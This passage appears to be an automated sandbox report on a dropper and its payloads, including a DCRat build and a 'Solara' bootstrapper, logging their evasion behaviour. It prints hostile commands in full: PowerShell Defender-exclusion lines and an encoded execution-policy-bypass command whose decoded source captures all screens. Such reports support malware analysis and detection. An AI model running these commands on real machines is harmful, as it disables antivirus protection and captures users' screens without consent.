Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5748	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\agentInto\fontsessionruntime.exe TID: 4712	Thread sleep count: 728 > 30
Source: C:\agentInto\fontsessionruntime.exe TID: 4712	Thread sleep count: 187 > 30
Source: C:\agentInto\fontsessionruntime.exe TID: 7648	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7412	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\agentInto\fontsessionruntime.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCA5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	10_2_00FCA5F4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	10_2_00FDB8E0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FEAAA8 FindFirstFileExA,	10_2_00FEAAA8

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FDDD72 VirtualQuery,GetSystemInfo,

10_2_00FDDD72

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599656
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599547
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598999
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598877
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598759
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598640
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598529
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598417
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598302
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597969
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597797
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597609
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597390
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597234
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597013
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596828
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596635
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596359
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596156
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595922
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595424
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595293
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595125
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594956
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594778
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594638
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594234
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594075
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593928
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593789
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593666
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593540
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593382
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593219
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593097
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592953
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592750
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592567
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592444
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592277
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592105
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591937
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591751
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591615
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591453
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591244
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591123
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590969
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590828
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590702
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590578
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590422
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590290
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590152
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590015
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589889
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589734
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589604
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589469
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589254
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589125
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588984
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588821
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588667
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588453
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588312
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588184
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588059
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587943
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587817
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587702
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587587
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587464
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587356
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587243
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587047
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586916
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586797
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586658
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586541
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586419
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586309
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586192
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586058
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585943
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585818
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585689
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585576
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585459
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585338
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585230
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585114
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584997
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584886
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584761
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584643
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584526
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584404
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584288
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\agentInto\fontsessionruntime.exe	Thread delayed: delay time: 922337203685477

Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\AppData
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\AppData\Local
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\Desktop\desktop.ini

Source: 6tGWMkdYv4.exe, 00000000.00000002.2040798474.0000000001053000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: DCRatBuild.exe, 0000000A.00000003.2132640749.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: DCRatBuild.exe, 0000000A.00000003.2132640749.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}x

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	API call chain: ExitProcess graph end node	graph_0-13
Source: C:\Users\user\AppData\Local\Temp\x10.exe	API call chain: ExitProcess graph end node	graph_2-13
Source: C:\Users\user\AppData\Local\Temp\x9.exe	API call chain: ExitProcess graph end node	graph_3-13
Source: C:\Users\user\AppData\Local\Temp\x8.exe	API call chain: ExitProcess graph end node	graph_4-13
Source: C:\Users\user\AppData\Local\Temp\x7.exe	API call chain: ExitProcess graph end node	graph_5-13
Source: C:\Users\user\AppData\Local\Temp\x6.exe	API call chain: ExitProcess graph end node	graph_6-13
Source: C:\Users\user\AppData\Local\Temp\x5.exe	API call chain: ExitProcess graph end node	graph_7-13
Source: C:\Users\user\AppData\Local\Temp\x4.exe	API call chain: ExitProcess graph end node	graph_8-13
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	API call chain: ExitProcess graph end node	graph_9-13
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	API call chain: ExitProcess graph end node	graph_10-24406

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FE866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_00FE866F

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FE753D mov eax, dword ptr fs:[00000030h]

10_2_00FE753D

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe

Code function: 0_2_00401AE1 GetCommandLineA,GetModuleHandleA,GetProcessHeap,ExitProcess,PathFindFileNameA,

0_2_00401AE1

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\agentInto\fontsessionruntime.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDF063 SetUnhandledExceptionFilter,	10_2_00FDF063
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDF22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00FDF22B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FE866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00FE866F
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDEF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00FDEF05

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ 